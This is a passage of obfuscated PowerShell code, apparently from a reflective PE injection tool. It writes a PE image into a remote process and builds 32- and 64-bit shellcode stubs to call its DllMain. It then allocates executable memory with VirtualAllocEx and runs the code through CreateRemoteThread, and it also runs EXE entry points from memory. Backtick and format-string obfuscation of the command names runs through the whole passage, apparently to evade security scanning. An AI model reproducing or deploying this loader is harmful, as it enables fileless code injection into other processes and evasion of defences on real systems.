if (${remO`TEloAdI`NG} -eq ${Tr`UE}) |
|
{ |
|
[UInt32]${N`U`Mby`TESwri`Tten} = 0 |
|
${suC`cE`Ss} = ${WIn3`2`F`U`NCtiONS}."wr`ITe`proceSSm`EmORY"."i`NVOKe"(${ReMoTep`ROC`H`ANDlE}, ${E`FF`eC`TIVEpEHAN`d`le}, ${p`eHANdle}, [UIntPtr](${P`EIN`Fo}."sIZe`oFI`magE"), [Ref]${n`UMby`T`EsWrI`TtEn}) |
|
if (${SUCc`e`sS} -eq ${fal`se}) |
|
{ |
|
Throw "" |
|
} |
|
} |
|
|
|
|
|
if (${PEi`NFo}."file`T`YPE" -ieq "DLL") |
|
{ |
|
if (${ReMo`Te`L`OadiNG} -eq ${FA`LSE}) |
|
{ |
|
&("{0}{1}{2}" -f 'Writ','e-','Verbose') "" |
|
${dLlMa`In`ptr} = &("{1}{3}{6}{0}{5}{2}{4}" -f 't','Add','sU','-','nsigned','A','SignedIn') (${PeIN`FO}."PeH`ANdlE") (${PE`I`NFo}."I`mage_Nt`_hE`AD`ers"."Opt`ioNa`l`hea`DeR"."Add`ResSOFEN`Tr`Y`PO`inT") |
|
${Dll`M`AinD`elE`GATe} = &("{2}{0}{1}{3}{4}" -f'-','De','Get','le','gateType') @([IntPtr], [UInt32], [IntPtr]) ([Bool]) |
|
${d`LLMA`In} = [System.Runtime.InteropServices.Marshal]::"G`e`TDe`leGaT`EFoR`FUN`c`TioNp`oINTER"(${d`LlMAInp`TR}, ${d`l`Lm`AI`NDElegAte}) |
|
|
|
${dL`LmaIn}."INV`oKE"(${p`eIn`Fo}."pehA`NdlE", 1, [IntPtr]::"zE`Ro") | &("{2}{0}{1}" -f 'ut-','Null','O') |
|
} |
|
else |
|
{ |
|
${Dllm`A`iN`pTR} = &("{4}{6}{1}{3}{0}{5}{2}"-f 'AsU','igne','gned','dInt','Add','nsi','-S') (${eF`FeCTiVe`P`Eh`An`dLe}) (${Pe`IN`Fo}."imaGe`_nT`_heAD`eRS"."oPtIon`Al`head`Er"."AdDRE`ssO`FE`NtRy`poinT") |
|
|
|
if (${P`EinFo}."pE`64bIt" -eq ${t`RUe}) |
|
{ |
|
|
|
${Cal`l`DllMAi`N`sc1} = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) |
|
${CAL`L`dLlMA`InSC2} = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) |
|
${CALl`D`LLmaiNs`C3} = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) |
|
} |
|
else |
|
{ |
|
|
|
${CALLD`lL`maIns`C1} = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) |
|
${c`ALLDllmai`NS`c2} = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) |
|
${calldL`lMa`i`NsC3} = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) |
|
} |
|
${sc`lE`NGtH} = ${C`Al`LdLlm`AInS`c1}."Le`Ng`Th" + ${ca`LLdlL`maIn`sC2}."L`e`NGtH" + ${c`A`llDLL`mAInSc3}."leNg`Th" + (${pTrS`i`ze} * 2) |
|
${s`CPSmem} = [System.Runtime.InteropServices.Marshal]::"aLLocHgl`ob`AL"(${sCle`N`gtH}) |
|
${sCpsMe`mo`RI`GiN`AL} = ${SC`PsMEm} |
|
|
|
&("{0}{5}{2}{3}{4}{1}" -f'Writ','y','-By','te','sToMemor','e') -Bytes ${c`A`LLdLlM`AiNsC1} -MemoryAddress ${scp`s`mem} |
|
${sC`pSM`eM} = &("{3}{6}{5}{4}{0}{1}{2}"-f 'g','n','ed','A','i','IntAsUns','dd-Signed') ${SCps`MEm} (${CaL`LDllmA`INsC1}."len`gTh") |
|
[System.Runtime.InteropServices.Marshal]::"st`RU`CtuREtop`TR"(${EffECT`IVep`EHA`N`dLE}, ${s`CPSM`Em}, ${F`Alse}) |
|
${sCps`mEm} = &("{0}{3}{5}{4}{1}{2}"-f'Add-','s','igned','Si','Un','gnedIntAs') ${sC`psMem} (${P`TR`sizE}) |
|
&("{1}{0}{2}{3}" -f'B','Write-','ytesT','oMemory') -Bytes ${cAlL`DllmA`I`NSC2} -MemoryAddress ${SC`P`smEM} |
|
${scPSm`Em} = &("{4}{0}{2}{1}{3}{5}" -f'dIntA','si','sUn','gn','Add-Signe','ed') ${s`c`psmem} (${c`AL`l`dLlMAinsC2}."Len`gTH") |
|
[System.Runtime.InteropServices.Marshal]::"stRUcT`URe`TOPtR"(${DlLmAI`N`ptR}, ${S`cP`sMEm}, ${fA`l`sE}) |
|
${SC`PsMEM} = &("{3}{4}{0}{5}{1}{2}" -f 'n','ig','ned','Add-SignedI','ntAsU','s') ${sCP`sM`EM} (${Pt`R`size}) |
|
&("{1}{4}{5}{2}{6}{3}{0}"-f'emory','W','ytesT','M','ri','te-B','o') -Bytes ${caL`L`dlLMaIn`Sc3} -MemoryAddress ${sCpsM`EM} |
|
${SC`pSMeM} = &("{4}{2}{0}{1}{3}"-f'ignedIntA','sUnsig','-S','ned','Add') ${SC`pS`MeM} (${cAL`Ldl`lM`A`InSc3}."lEN`G`Th") |
|
|
|
${R`scad`DR} = ${win`32fUNc`Tions}."VI`RTUAlaLl`o`CEx"."I`NV`OKe"(${RemOT`ePROc`han`Dle}, [IntPtr]::"Ze`RO", [UIntPtr][UInt64]${S`CLEn`Gth}, ${Win32`CoNST`A`Nts}."mEM_C`OM`MiT" -bor ${w`In`3`2CONStANTS}."M`em_rES`erVe", ${wiN`32COn`STA`Nts}."PAGE_`ex`Ec`Ute_rEADWRI`Te") |
|
if (${R`sCAD`DR} -eq [IntPtr]::"Z`eRO") |
|
{ |
|
Throw "" |
|
} |
|
|
|
${S`UcCess} = ${wI`N`32`FUnC`TionS}."WRit`Ep`R`OCE`SSMEmorY"."INVO`Ke"(${rem`o`TePr`Oc`hAN`Dle}, ${RSc`A`dDR}, ${S`CpsMe`MORiGIN`Al}, [UIntPtr][UInt64]${scL`e`Ng`TH}, [Ref]${nuMbyT`EswRI`T`Ten}) |
|
if ((${SUcc`e`ss} -eq ${FAl`sE}) -or ([UInt64]${nUm`B`Y`TeswrIT`TEN} -ne [UInt64]${S`c`lEngTH})) |
|
{ |
|
Throw "" |
|
} |
|
${R`T`H`R`EaDHaNDLe} = &("{0}{3}{2}{4}{1}"-f'C','hread','ote','reate-Rem','T') -ProcessHandle ${rEMOTE`prO`c`H`AndLE} -StartAddress ${Rs`cAdDR} -Win32Functions ${WiN3`2f`U`NCT`IoNs} |
|
${Re`S`Ult} = ${wI`N32F`UNct`IO`NS}."w`AItfoRsInG`Le`Ob`ject"."INVO`KE"(${R`T`HRE`AdhanDle}, 20000) |
|
if (${Re`SULT} -ne 0) |
|
{ |
|
Throw "" |
|
} |
|
|
|
${Win3`2`FU`NCTio`Ns}."v`irtualFr`EEEx"."iN`VOkE"(${rE`MoT`eproCha`ND`LE}, ${RsC`AD`Dr}, [UIntPtr][UInt64]0, ${WIn`3`2CoN`StA`NTS}."mEM`_`REleAse") | &("{2}{0}{1}" -f'l','l','Out-Nu') |
|
} |
|
} |
|
elseif (${pE`iNfo}."F`ilE`TYpE" -ieq "EXE") |
|
{ |
|
[IntPtr]${e`xED`onEB`y`TEptR} = [System.Runtime.InteropServices.Marshal]::"a`L`lOCHG`loBAl"(1) |
|
[System.Runtime.InteropServices.Marshal]::"W`Ri`TeBytE"(${ExeDOnEBy`T`EP`TR}, 0, 0x00) |
|
${OverWRItTen`ME`m`iNfO} = &("{3}{2}{0}{1}{4}" -f 'E','xeFu','te-','Upda','nctions') -PEInfo ${p`eiN`FO} -Win32Functions ${WIN3`2fu`N`CT`Ions} -Win32Constants ${win3`2`coN`sT`AnTs} -ExeArguments ${EX`EA`RGS} -ExeDoneBytePtr ${eXeDO`N`ebYT`EpTr} |
|
[IntPtr]${eXe`mA`i`NPtR} = &("{1}{3}{2}{0}{4}"-f's','Add-S','edIntAsUn','ign','igned') (${P`E`iNFO}."pehaNd`le") (${p`EIN`Fo}."ImAg`E`_NT_`h`eAdeRs"."OptI`o`NALHEAD`er"."aDd`RessOF`en`Tr`Y`POINT") |
|
&("{1}{2}{0}{3}" -f'e-Verbos','W','rit','e') "" |
|
${w`in3`2f`UNctiONs}."crEATET`hR`EAd"."IN`V`OKe"([IntPtr]::"z`erO", [IntPtr]::"Ze`RO", ${EXe`MA`in`PtR}, [IntPtr]::"Z`ero", ([UInt32]0), [Ref]([UInt32]0)) | &("{1}{2}{0}"-f 'ull','O','ut-N') |
|
while(${TR`UE}) |
|
{ |
|
[Byte]${t`HreADdO`NE} = [System.Runtime.InteropServices.Marshal]::"rEAdB`y`TE"(${EXEdO`NEB`ytEpTR}, 0) |
|
if (${thRE`AD`dONE} -eq 1) |
|
{ |
|
&("{3}{4}{0}{1}{2}" -f'Mem','Addresse','s','Copy-Arr','ayOf') -CopyInfo ${O`VERwRiT`Te`NMeM`i`Nfo} -Win32Functions ${w`iN32`FUNCTi`o`NS} -Win32Constants ${W`In32cONS`TAnTs} |
|
&("{1}{2}{0}"-f'Verbose','Wri','te-') "" |
|
break |
|
} |
|
else |
|
{ |
|
&("{0}{1}{2}" -f'Start-','S','leep') -Seconds 1 |
|
} |
|
} |
|
} |
|
|
|
return @(${P`e`InfO}."peH`ANdLe", ${e`F`FEctiVePE`hAN`dLE}) |
|
} |
|
|
|
|
|
Function iNvokE`-Me`MoryF`Re`eli`BrARy |
|
{ |
|
Param( |
|
[Parameter(pOSition=0, MAnDATOry=${T`RUe})] |
|
[IntPtr] |
|
${pE`hAn`DLE} |
|
) |
|
|
|
${Wi`N`32Co`N`sTAnTS} = &("{2}{1}{4}{5}{3}{0}"-f 'Constants','e','G','2','t','-Win3') |
|
${wIN`32`F`UnCtiOns} = &("{2}{3}{0}{1}"-f'unc','tions','Get-','Win32F') |
|
${wi`N3`2typeS} = &("{0}{1}{2}{3}{4}" -f'G','e','t-','Win32Type','s') |
|
|
|
${PE`Info} = &("{2}{1}{0}{3}" -f 'tailedInf','-PEDe','Get','o') -PEHandle ${PeHAnD`lE} -Win32Types ${wiN32TY`P`Es} -Win32Constants ${W`iN`32CO`NS`TANTS} |
|
|
|
if (${P`eInfO}."iMa`gE_`Nt_HE`AdErS"."o`PtiO`NaL`HEaDer"."IMp`oR`TtaBle"."s`Ize" -gt 0) |
|
{ |
|
[IntPtr]${IM`pOrt`DEscRIpToR`p`Tr} = &("{1}{2}{0}{3}{5}{4}" -f 'dIntA','A','dd-Signe','s','ed','Unsign') ([Int64]${pe`in`Fo}."pEhAnd`Le") ([Int64]${pei`N`FO}."im`AGe_n`T_HeAd`E`RS"."OPti`ON`AlHeA`D`er"."ImpoRt`TAB`Le"."VIRTUaLADdR`e`ss") |
|
|
|
while (${tr`Ue}) |
|
{ |
|
${i`m`Portde`Scri`ptOr} = [System.Runtime.InteropServices.Marshal]::"pT`RtosT`R`UcTUrE"(${iMPoRTDE`SCr`ipt`or`p`TR}, [Type]${W`in3`2Ty`PEs}."iM`A`GE_iMpoRt_desCR`IPT`Or") |
|
|
|
if (${i`mpOrt`DE`SCripT`OR}."c`haRAcT`eRI`S`TicS" -eq 0 ` |
|
-and ${iM`PO`R`TdeSC`RIPToR}."f`IR`Stt`HUNk" -eq 0 ` |
|
-and ${Im`PortD`esC`RiP`T`oR}."foRWarDERch`A`IN" -eq 0 ` |
|
-and ${I`mp`ortDE`scrIP`TOr}."nA`Me" -eq 0 ` |
|
-and ${im`pO`R`TdesC`R`IptOR}."TI`MEd`ATeS`T`AmP" -eq 0) |
|
{ |
|
&("{0}{1}{2}" -f'W','rit','e-Verbose') "" |
|
break |
|
} |
|
${Im`P`oRTDLL`PA`TH} = [System.Runtime.InteropServices.Marshal]::"pT`RtOStr`I`Nga`NSI"((&("{3}{1}{2}{4}{0}"-f'd','d-Si','gned','Ad','IntAsUnsigne') ([Int64]${P`eINfo}."PehA`NdLe") ([Int64]${iMP`ORTd`ESC`RiPt`OR}."N`AME"))) |
|
${I`Mp`oRtdLlh`AndLE} = ${WI`N3`2Fu`Nc`TIoNS}."ge`T`m`ODulehanD`LE"."IN`VOKE"(${ImP`OrTDll`Pa`Th}) |
|
if (${im`pOrTdl`lh`An`Dle} -eq ${nu`Ll}) |
|
{ |
|
&("{1}{0}{2}" -f'rite-W','W','arning') "" -WarningAction ("{0}{1}{2}"-f 'Cont','i','nue') |
|
} |
|
|
|
${sU`C`ceSS} = ${w`In`32FUN`CTions}."f`Re`ElIbrary"."iN`Vo`ke"(${ImPor`TdLLha`N`dlE}) |
|
if (${sUCcE`ss} -eq ${f`AL`se}) |
|
{ |
|
&("{0}{3}{2}{1}" -f'Write','g','in','-Warn') "" -WarningAction ("{2}{0}{1}"-f'tin','ue','Con') |
|
} |
|
|
|
${Im`PORtDEsc`RIPT`Or`Ptr} = &("{1}{0}{3}{2}" -f'-SignedIntA','Add','gned','sUnsi') (${iMpOrTD`eScRIPT`O`Rptr}) ([System.Runtime.InteropServices.Marshal]::"SiZe`Of"([Type]${Win32T`yP`ES}."i`mAge_iM`poRt`_deS`criPtOR")) |
|
} |
|
} |
|
&("{3}{1}{2}{0}" -f'erbose','r','ite-V','W') "" |
|
${dlLMAIN`p`Tr} = &("{5}{6}{0}{2}{1}{4}{3}" -f'nedIn','sUnsi','tA','ed','gn','Add-S','ig') (${Pe`INfo}."pEhan`dlE") (${pe`iN`Fo}."i`mAGE_N`T`_HEadE`Rs"."OPTiOn`AL`He`ADer"."a`ddRe`S`S`ofenTryPo`inT") |
|
${dlL`MaIND`eleGaTE} = &("{3}{2}{1}{0}"-f'eType','gat','Dele','Get-') @([IntPtr], [UInt32], [IntPtr]) ([Bool]) |
|
${dLlM`A`in} = [System.Runtime.InteropServices.Marshal]::"GET`DEl`eG`AT`e`Fo`Rfu`Ncti`ONPOintEr"(${d`lLm`Ai`NPtr}, ${dllmA`iN`DeL`eGa`TE}) |
|
|
|
${dLL`ma`IN}."iNv`OKE"(${Pe`I`NFo}."Pehan`dLE", 0, [IntPtr]::"zE`Ro") | &("{1}{2}{0}"-f'll','O','ut-Nu') |
